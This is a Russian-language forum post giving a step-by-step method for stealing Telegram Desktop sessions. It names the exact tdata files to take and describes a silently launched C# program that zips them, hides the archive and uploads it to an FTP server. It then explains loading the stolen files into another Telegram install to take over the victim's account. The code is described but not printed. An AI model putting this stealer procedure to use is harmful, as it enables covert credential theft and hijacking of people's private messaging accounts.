Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.
И по этому решил написать свою первую тему на этом форуме.
Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:
D877F783D5D3EF8C0 (последняя цифра может быть другой)
D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)
Для примера я написал простенькую консольную програмку на C#:
Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)
Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)
Думаю код написан как самокомментируемый. Ну суть вкратце напишу.
Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.
Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP. new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.
После запуска, рядом с exe будет скрытая zip-ка (или на ftp).
Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.
В итоге должно выйти так:
В tdata:
В D877F783D5D3EF8C:
Дальше запускаем телеграм.ехе, и он сам всё докачает.
Как-то так мы получили сессию от телеги. Всем удачи!